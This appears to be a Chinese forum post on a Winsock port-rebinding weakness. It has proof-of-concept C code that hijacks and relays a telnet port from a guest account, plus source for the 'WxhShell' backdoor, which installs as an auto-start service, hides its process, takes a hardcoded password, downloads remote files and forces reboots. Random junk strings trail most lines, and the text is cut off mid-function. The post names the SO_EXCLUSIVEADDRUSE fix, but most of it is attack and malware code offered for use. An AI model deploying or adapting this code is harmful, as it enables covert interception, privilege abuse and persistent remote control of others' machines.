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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >\i{,F=U7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {C6Yr9  
,onv `  
  saddr.sin_family = AF_INET; ~KNxAxyVi  
3&zmy'b*:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f2Slsl;  
  C[Fh^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zZ wD)p?_g  
CkflEmfe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #&/*ll)  
-^Lj~O  
  这意味着什么?意味着可以进行如下的攻击: :kUH>O  
VEn%_9(]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q)vD "{0.  
IaJ(T>" +  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) un/R7 "  
~cez+VQe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _1hqD EM  
Q2 edS|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XNl!(2x'pb  
N; hq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @s[bRp`gd  
XR&*g1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `2Z=Lp  
/bb4nM_E/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {.2C>p  
yQW\0&a$  
  #include `=>Bop)  
  #include S%4hv*_c  
  #include n/6A@C  
  #include    (=\P|iv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C6Mb(&  
  int main() mPu5%%  
  {  z/ i3  
  WORD wVersionRequested; ,=ICSS~9l  
  DWORD ret; Vz#cb5:g  
  WSADATA wsaData; y^XwJX-f  
  BOOL val; vxm`[s|QC  
  SOCKADDR_IN saddr; ^ 1g6(k'  
  SOCKADDR_IN scaddr; *rbH|o8  
  int err; #A/jGv^  
  SOCKET s; ~<eiWDf  
  SOCKET sc; 3! +5MsR+  
  int caddsize; (5I]umtge  
  HANDLE mt; m1<B6*iG"  
  DWORD tid;   );6zV_^!  
  wVersionRequested = MAKEWORD( 2, 2 ); 3646.i[D  
  err = WSAStartup( wVersionRequested, &wsaData ); Y'Af I^K  
  if ( err != 0 ) { " c]Mz&z  
  printf("error!WSAStartup failed!\n"); 3HA{18{4uP  
  return -1; 2D!'7ZD  
  } 5M(?_qj  
  saddr.sin_family = AF_INET; FxUH ?%w  
   SAoqq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^\CQWgY(  
(&B & V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b)V[d8IA  
  saddr.sin_port = htons(23); Gq{v)iN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0s8S`hCn>  
  { SUx0!_f*R  
  printf("error!socket failed!\n"); E8nqEx Q  
  return -1; kz&)a>aA  
  } W t8 RC  
  val = TRUE; @-m&X2J+c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -8o8l z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JE j+>  
  { J+;.t&5R  
  printf("error!setsockopt failed!\n"); F3qi$3HM  
  return -1; !9!N s(vUM  
  } ecF I"g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o0/03O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qh*|mW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OUs2)H61  
@#V{@@3$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X=JSqO6V9  
  { OVd"'|&6_  
  ret=GetLastError(); *=I#VN*_<.  
  printf("error!bind failed!\n"); ~/NA?E-c  
  return -1; zso.?`85  
  } ^qDkSoqC"  
  listen(s,2); 55;xAsG  
  while(1) _zOzHc?Q  
  { /Ly%-py-$  
  caddsize = sizeof(scaddr); ctCfLlK  
  //接受连接请求 )~5`A*Ku  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q`oi=O YB  
  if(sc!=INVALID_SOCKET) #e#8I7P  
  { ;6]+/e7O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !~ZL  
  if(mt==NULL) FCI T+ 8K  
  { n8iN/Y<%U  
  printf("Thread Creat Failed!\n"); 1jV^\ x0  
  break; \nJr jH A  
  } X+*| nvq]  
  } 1|gEY;Ru  
  CloseHandle(mt); &&m%=i.qK  
  } ,wq.C6;&  
  closesocket(s); `@ `CZg  
  WSACleanup(); % va/x]K  
  return 0; +EpT)FJX  
  }   J#D!J8KP7  
  DWORD WINAPI ClientThread(LPVOID lpParam) U{;i864:}  
  { 8IX6MfR}C  
  SOCKET ss = (SOCKET)lpParam; mxWaX b  
  SOCKET sc; UA/3lH}  
  unsigned char buf[4096]; D8h~?phK  
  SOCKADDR_IN saddr; r^@*Cir  
  long num; 3*; {C|]S  
  DWORD val; weu'<C   
  DWORD ret; bT>^% H3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CSD8?k]2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "ex? #qD&  
  saddr.sin_family = AF_INET; W=|B3}C?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c#l (~g$D+  
  saddr.sin_port = htons(23); Lb];P"2e+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IUZsLNW  
  { eag$i.^aS  
  printf("error!socket failed!\n"); !WY@)qlf  
  return -1; 0h; -Yg  
  } ^+P]_< 43  
  val = 100; 3wr~P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8en85 pp8P  
  {  b'ew Od=  
  ret = GetLastError(); xF,J[Aj  
  return -1; C ]#R7G  
  } E7*]t_p"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *+J&ebSTN  
  { ,+q5e^P  
  ret = GetLastError(); r67 3+  
  return -1; xWV_Do)z  
  } xi.;`Q^#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) # - kyZ  
  { ? G3OAx?<  
  printf("error!socket connect failed!\n"); ;hKn$' '  
  closesocket(sc); MBa/-fD  
  closesocket(ss);  ,{.&xJ$  
  return -1; EJ86k>]  
  } R{*p \;  
  while(1) SQliF[-  
  { PanyN3rC*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CUYp(GU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zZDr=6|r_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ."H5.'  
  num = recv(ss,buf,4096,0); hZ%Ie%~n  
  if(num>0) ;/YSQt)rc>  
  send(sc,buf,num,0); Cd (Ov5%  
  else if(num==0) Nl(Aa5:!  
  break; c s hZR(b  
  num = recv(sc,buf,4096,0); l,d8% \  
  if(num>0) ZkK +?:9  
  send(ss,buf,num,0); Ru sa &#[  
  else if(num==0) ZLO _5#<  
  break; BgE]xm  
  } #7g~U m%p  
  closesocket(ss); +C+3DwN  
  closesocket(sc); "#p)Z{v"!  
  return 0 ; N/y.=]  
  } 5v?6J#]2  
_o`'b80;  
n,fUoS  
========================================================== RJg# A`  
1W-!f%  
下边附上一个代码,,WXhSHELL y[}BFUy  
QALMF rWH  
========================================================== air{1="<-  
+]AE}UXZoh  
#include "stdafx.h" cW3;5  
.*y{[."!  
#include <stdio.h> b^%4_[uRu  
#include <string.h>  EGV@L#  
#include <windows.h> ebQYk$@  
#include <winsock2.h> ;)o%2#I  
#include <winsvc.h> mT~:k}u~W  
#include <urlmon.h> \;g{qM 8  
A]>0lB  
#pragma comment (lib, "Ws2_32.lib") {wd.aUB  
#pragma comment (lib, "urlmon.lib") |"ck;.)  
lQ)8zI  
#define MAX_USER   100 // 最大客户端连接数 K;YK[M1!  
#define BUF_SOCK   200 // sock buffer =b; v:HC  
#define KEY_BUFF   255 // 输入 buffer 6)H70VPJ  
T9(~^}_+9  
#define REBOOT     0   // 重启 ()P?fed  
#define SHUTDOWN   1   // 关机 ^^)Pv#[3  
{E@@14]g  
#define DEF_PORT   5000 // 监听端口 b@,w/Uw[*  
!ZB|GLpo6  
#define REG_LEN     16   // 注册表键长度 [.0R"|$sy+  
#define SVC_LEN     80   // NT服务名长度 )+ S"`  
 Kp!P/Q{  
// 从dll定义API 3J@# V '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J4x1qY)Y&v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 56L>tP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?X=9@m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $3FFb#r  
? Bk"3{hl  
// wxhshell配置信息 /TpM#hkq/2  
struct WSCFG { _~6AUwM  
  int ws_port;         // 监听端口 in%+)`'nH7  
  char ws_passstr[REG_LEN]; // 口令 @P)GDB7A  
  int ws_autoins;       // 安装标记, 1=yes 0=no #opFUX-  
  char ws_regname[REG_LEN]; // 注册表键名 lZb1kq%9g  
  char ws_svcname[REG_LEN]; // 服务名 .'SM|r$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JP[BSmhAV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kkqrl JO|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .*v8*8OJ&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %(n4`@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c?[A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A 8&%G8d  
r$*k-c9Bf  
}; `<[Zs]Fe4  
&?x^I{j  
// default Wxhshell configuration l&E-H@Pe  
struct WSCFG wscfg={DEF_PORT, kigc+R  
    "xuhuanlingzhe", Mc{1Cdj  
    1, ;g?5V  
    "Wxhshell", ~Fisno  
    "Wxhshell", Ei}B9 &O  
            "WxhShell Service", jz/@Zg",  
    "Wrsky Windows CmdShell Service", >)!"XFbb  
    "Please Input Your Password: ", 2)mKcUL-  
  1, ^2Op?J  
  "http://www.wrsky.com/wxhshell.exe", ) D(XDN  
  "Wxhshell.exe" AEEy49e  
    }; |f`!{=?  
As78yfK  
// 消息定义模块 pcL02W|J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G!%1<SLi.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I'J=I{p*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9;q@;)'5  
char *msg_ws_ext="\n\rExit."; u\>Ed9^  
char *msg_ws_end="\n\rQuit."; w Gw}a[a  
char *msg_ws_boot="\n\rReboot..."; F4d L{0;j  
char *msg_ws_poff="\n\rShutdown..."; Pbz-I3+66  
char *msg_ws_down="\n\rSave to "; v%B^\S3)  
T w/CJg  
char *msg_ws_err="\n\rErr!"; ()XL}~I{!A  
char *msg_ws_ok="\n\rOK!"; ou@Dd4  
t?{E_70W  
char ExeFile[MAX_PATH]; kvryDM  
int nUser = 0; %!x\|@C  
HANDLE handles[MAX_USER]; DUY#RJf  
int OsIsNt; !AP|ozkL  
H@OYtPHGR  
SERVICE_STATUS       serviceStatus; Q +qN`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l6a,:*_  
QNn$`Qz.  
// 函数声明 S1zV.]  
int Install(void); !%]]lxi  
int Uninstall(void); MNkysB(  
int DownloadFile(char *sURL, SOCKET wsh); <gJ|Wee  
int Boot(int flag); U =T[-(:H  
void HideProc(void); sL[,J[AN;  
int GetOsVer(void); 4l[f}Z  
int Wxhshell(SOCKET wsl); 5jkW@  
void TalkWithClient(void *cs); `W{Ye=|[d#  
int CmdShell(SOCKET sock); }1epn#O_4  
int StartFromService(void); -`#LrO;n  
int StartWxhshell(LPSTR lpCmdLine); R (4 :_ xc  
{Pu\KRU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |PTL!>ym2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BL,YJM(y  
)%WS(S>8  
// 数据结构和表定义 Fb[<YX"  
SERVICE_TABLE_ENTRY DispatchTable[] = tNfku  
{ 4z?6[Cg<  
{wscfg.ws_svcname, NTServiceMain}, O:#t> ;  
{NULL, NULL} Rnun() plJ  
}; %xkqiI3Ff  
d\xh>o  
// 自我安装 SIzW3y[  
int Install(void) #%B1, .A  
{ En-eG37 l  
  char svExeFile[MAX_PATH]; "7iHTV  
  HKEY key; qD Nqd  
  strcpy(svExeFile,ExeFile); KZ;U6TBiB  
aFd ,   
// 如果是win9x系统,修改注册表设为自启动 <86upS6  
if(!OsIsNt) { 1rT}mm/e;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (F~eknJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WWH T;ST  
  RegCloseKey(key); prhFA3 rW.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8_mdh+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^MDBJ0 I.  
  RegCloseKey(key); ogDyrY}]  
  return 0; &+ JV\  
    } bWG}>{fj  
  } *>zr'Tt,W  
} y}nM'$p  
else { S\s1}`pNm  
]p@7[8}  
// 如果是NT以上系统,安装为系统服务 o+q4Vg9&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); //f[%j*>  
if (schSCManager!=0) %GjF;dJ  
{ h"M}Iz~|V?  
  SC_HANDLE schService = CreateService .\LWV=B  
  ( + ECV|mkk  
  schSCManager, .K;*uq:0  
  wscfg.ws_svcname, \d%&_rp  
  wscfg.ws_svcdisp, ` _[\j]  
  SERVICE_ALL_ACCESS, $Ob]JAf}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 23&;28)8  
  SERVICE_AUTO_START, {Km|SG[-q  
  SERVICE_ERROR_NORMAL, XR]]g+Z  
  svExeFile, J4xt!RW!  
  NULL, ${0Xq k  
  NULL, "kVN|Do  
  NULL, 7H++ pOF  
  NULL, Q->'e-\E<"  
  NULL ~\Fde^1  
  ); &I<R|a  
  if (schService!=0) 2mVH*\D  
  { i#iY;R8  
  CloseServiceHandle(schService); )6^b\`  
  CloseServiceHandle(schSCManager); Vr`UF0_3q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z35n3q  
  strcat(svExeFile,wscfg.ws_svcname); y @h^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3zMmpeq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6D _4o&N  
  RegCloseKey(key); <o^mQq&  
  return 0; OA&NWAm4  
    } rXo,\zI;u^  
  } `Nc3I\tCM  
  CloseServiceHandle(schSCManager); kVe}_[{m  
} l4v)tV~  
} W>/O9?D  
yV=hi?f-[V  
return 1; R-bICGSE  
} ^7~=+0cF]  
mJ !}!~:  
// 自我卸载 A\.k['!  
int Uninstall(void) .@/5Ln  
{ 6D/5vM1  
  HKEY key; IeZ}`$[H  
^k t#[N  
if(!OsIsNt) { 6@; w%Ea  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 73Tg{~  
  RegDeleteValue(key,wscfg.ws_regname); O/iew3YF  
  RegCloseKey(key); Xj?j1R>GB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %pe7[/  
  RegDeleteValue(key,wscfg.ws_regname); 0ot=BlMu  
  RegCloseKey(key); {;=+#QK/  
  return 0; nLJ]tpw^DH  
  } 0'c<EJ  
} ,R3D  
} ,t(y~Z wJ  
else { rS{Rzs^@  
nRb#M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6pxj9@X+  
if (schSCManager!=0) S!up2OseW  
{ `"Tx%>E(U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3,S5>~R=  
  if (schService!=0) `{ou4H\  
  { \[ +ZKj:  
  if(DeleteService(schService)!=0) { 80c\O-{  
  CloseServiceHandle(schService); i!ejK6Q  
  CloseServiceHandle(schSCManager); '?wv::t  
  return 0; ib ;:*  
  } c]t =#  
  CloseServiceHandle(schService); +q1 @8  
  } JY_+p9KfyQ  
  CloseServiceHandle(schSCManager); kc1 *@<L6  
} ].7)^  
} `b# w3 2  
\/S?.P#L~  
return 1; ?N&"WL^|  
} //_v"dqP{)  
[{f{E  
// 从指定url下载文件 &z&Jl#t-)  
int DownloadFile(char *sURL, SOCKET wsh) &&Vz=6N  
{ N}pE{~Y  
  HRESULT hr; By:A9 s  
char seps[]= "/"; 8&3+=<U  
char *token; CIYTs,u#  
char *file; kplyZ  
char myURL[MAX_PATH]; +8mfq\ Y1  
char myFILE[MAX_PATH]; [;h@ q}  
- "h {B  
strcpy(myURL,sURL); q}1AV7$Ai  
  token=strtok(myURL,seps); i *nNu-g  
  while(token!=NULL) !NZFo S~  
  { oT_k"]~Q~2  
    file=token; q#c\  
  token=strtok(NULL,seps); +Y'(,J  
  } US@ak4Y6Z  
p`T7Y\\#!  
GetCurrentDirectory(MAX_PATH,myFILE); .2Y"=|NdA  
strcat(myFILE, "\\"); DLJu%5F  
strcat(myFILE, file); rP^2MH"  
  send(wsh,myFILE,strlen(myFILE),0); zG+oZ  
send(wsh,"...",3,0); kYmkKl_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KokmylHu  
  if(hr==S_OK) ,^`+mP  
return 0; =cX &H  
else oju4.1  
return 1; P0 hC4Sxf  
GyRU/0'BME  
} ZMy,<wk  
l2X'4_d  
// 系统电源模块 ]* ':  
int Boot(int flag) EX|Wd|aK  
{ U43PHcv_  
  HANDLE hToken; lJ:B9n3OzT  
  TOKEN_PRIVILEGES tkp; k 32 Jz.\B  
$:{uF#  
  if(OsIsNt) { J XbG|L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )zz"DH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jd7+~isu~  
    tkp.PrivilegeCount = 1; ,M5zhp$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bt-y6,> +E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u4rGe!  
if(flag==REBOOT) { 'HH[[9Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zxT&K|  
  return 0; u\Tq5PYXt  
} D)K/zh)  
else { #zZQ@+5zw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j^Bo0{{  
  return 0; ?2aglj*"v,  
} QUH USDT  
  } <t.yn\G-w  
  else { m!tB;:6  
if(flag==REBOOT) { Go= MG:`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !J3g,p*  
  return 0; sJw#^l  
} TO- [6Pq#  
else { z|<6y~5,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wS hsu_(i  
  return 0; 7??+8T#n*  
} ?2E@)7  
} XSpX6fq  
d+\o>x|Y!Y  
return 1; ApG_Gd.  
} P I)lJ\  
.Q>.|mu  
// win9x进程隐藏模块 r@%-S!$  
void HideProc(void) MOJKz!%  
{ SdeKRZ{o  
69p>?zn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OtBVfA:[  
  if ( hKernel != NULL ) R]/3`X9!d>  
  { qa.nm4"6+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +%UfnbZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l*e*jA_>:7  
    FreeLibrary(hKernel); a[ 1^)=/DM  
  } 5.q2<a :  
|p-, B>p!  
return; to|O]h2*U2  
} O>IY<]x>L  
hV)D,oN3  
// 获取操作系统版本 }N&}6U  
int GetOsVer(void) H"=%|/1M0  
{ kD8$ir'UYG  
  OSVERSIONINFO winfo; ^yb3L1y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0L S,(v4  
  GetVersionEx(&winfo); 3-`IMN n!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ; {iX_%  
  return 1; y U =) g  
  else TMpV .iH  
  return 0; 1I{vB eMj  
} N^*%{[<5  
7;2j^qPr  
// 客户端句柄模块 <v>^#/.0  
int Wxhshell(SOCKET wsl) )+OI}  
{ +C' u!^ )  
  SOCKET wsh; .D!0$W mOZ  
  struct sockaddr_in client; iqreIMWz  
  DWORD myID; TwH%P2)x  
SIYBMe  
  while(nUser<MAX_USER) nD@/,kw"  
{ 3"NO"+Q  
  int nSize=sizeof(client); ZX'q-JUv f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MzM"r"u  
  if(wsh==INVALID_SOCKET) return 1; 1hp`.!3]H  
?#YheML?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :PE{2*  
if(handles[nUser]==0) Qz=F nR  
  closesocket(wsh); U*!q@g_  
else o$;t  
  nUser++; #^4p(eZ[}  
  } _kg<K D=P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %UT5KYd!=N  
@a$_F3W  
  return 0; LmWZ43Z"@  
} Kkcb' aDR  
*:gx1wd  
// 关闭 socket t~]n"zgovz  
void CloseIt(SOCKET wsh) rofj&{w  
{ `u$  Rd  
closesocket(wsh); H=RzY-\a%  
nUser--; LeRyS]  
ExitThread(0); 3`.*~qW  
} 3q ujz)o  
hjf!FY*F  
// 客户端请求句柄 <:/Lap#D^  
void TalkWithClient(void *cs) &W+lwEu  
{ ;)$bhNFHx  
o&0fvCpW  
  SOCKET wsh=(SOCKET)cs; ;-sZaU;  
  char pwd[SVC_LEN]; FjR/_GPo6  
  char cmd[KEY_BUFF]; E6JfSH#  
char chr[1]; 7^)8DwAl  
int i,j; -<H\VT%98  
 bi/ AQ^  
  while (nUser < MAX_USER) { FnxPM`Zx  
cq+G0F+H  
if(wscfg.ws_passstr) { [$M=+YRHMW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K)b@,/5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K</EVt,U~  
  //ZeroMemory(pwd,KEY_BUFF); #N Qpr  
      i=0; ]8@s+ N  
  while(i<SVC_LEN) { qW+'#Jh@TV  
%hDx UZ#0  
  // 设置超时 niC ; WK  
  fd_set FdRead; uPCzs$R  
  struct timeval TimeOut; -[/tS<U  
  FD_ZERO(&FdRead); Q\Wh]=}  
  FD_SET(wsh,&FdRead); bpP-wA^Hd  
  TimeOut.tv_sec=8; C2t]  
  TimeOut.tv_usec=0; X})5XYvA*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Gi9&fS,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3 PkVMX  
Znr6,[U+q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I;1W6uD=  
  pwd=chr[0]; |BGB60}]f  
  if(chr[0]==0xd || chr[0]==0xa) { O|K-UTWH%  
  pwd=0; MrjgV+P}[  
  break; 5"sd  
  } +pUG6.j%  
  i++; W4Z8U0co  
    } mR,w~wP  
{E=BFs  
  // 如果是非法用户,关闭 socket $, hHR:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^^,cnDlm  
} u00w'=pe)  
5 EhOvt8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /cHUqn30a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \k4tYL5  
JuW"4R  
while(1) { Gh%R4)}  
u ,R R|/@  
  ZeroMemory(cmd,KEY_BUFF); 5 w-Pq&q  
Cv[_N%3[  
      // 自动支持客户端 telnet标准   J.;!l   
  j=0; AQ%B&Q(V1  
  while(j<KEY_BUFF) { K g6hySb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GFGW'}w-  
  cmd[j]=chr[0]; izDfpr}s4  
  if(chr[0]==0xa || chr[0]==0xd) { K_! R   
  cmd[j]=0; eI,'7u4q  
  break; srlxp_^  
  } >Nam@,hm  
  j++; ZLDO&}  
    } "DO|B=EejP  
IA%|OVAfF  
  // 下载文件 :o3>  
  if(strstr(cmd,"http://")) { p=!12t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); []lMv ZW  
  if(DownloadFile(cmd,wsh)) L"KKW c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); knfEbH  
  else %$D n);6=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *82+GY]  
  } >:Y"DX-  
  else { Q~R%|Q{&  
V15/~  
    switch(cmd[0]) { ^(kmFUV,Z  
  w#v-h3XcF  
  // 帮助 }j$tFFVi~  
  case '?': { MgO_gFr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vpq"mpfkh  
    break; _-|/$ jZ  
  } _u3%16,o  
  // 安装 2P/ Sq  
  case 'i': { F/SYmNp  
    if(Install()) R ;k1(p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >P+o NY  
    else %i6/= 'u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Etn uEU  
    break; \@[Y ~:  
    } buldA5*!o  
  // 卸载 R]&lVXyH  
  case 'r': { S5BS![-QK  
    if(Uninstall()) L35]'Jua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E4$y|Ni"  
    else !J&UO/q.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IG.!M@_  
    break; HTLS$o;Q  
    } +iqzj-e&e[  
  // 显示 wxhshell 所在路径 1B#iJZ}  
  case 'p': { `@xnpA]l  
    char svExeFile[MAX_PATH]; f AY(ro9Q(  
    strcpy(svExeFile,"\n\r"); 7@R^B=pb  
      strcat(svExeFile,ExeFile); mEmgr(W  
        send(wsh,svExeFile,strlen(svExeFile),0); Cxd^i  
    break; h ,\5C/  
    } aX,6y1  
  // 重启 KV8Ok  
  case 'b': { w5 #;Lm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +~>cAWZq_  
    if(Boot(REBOOT)) G#Kw6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Ep7CV-n}  
    else { I5*<J n  
    closesocket(wsh); m\oxS;fxWi  
    ExitThread(0); ;m=k FZ?  
    } e45)t}'  
    break; "8p<NsU   
    } 6u'E}hAx|  
  // 关机 -d9L  
  case 'd': { rf^ u&f  
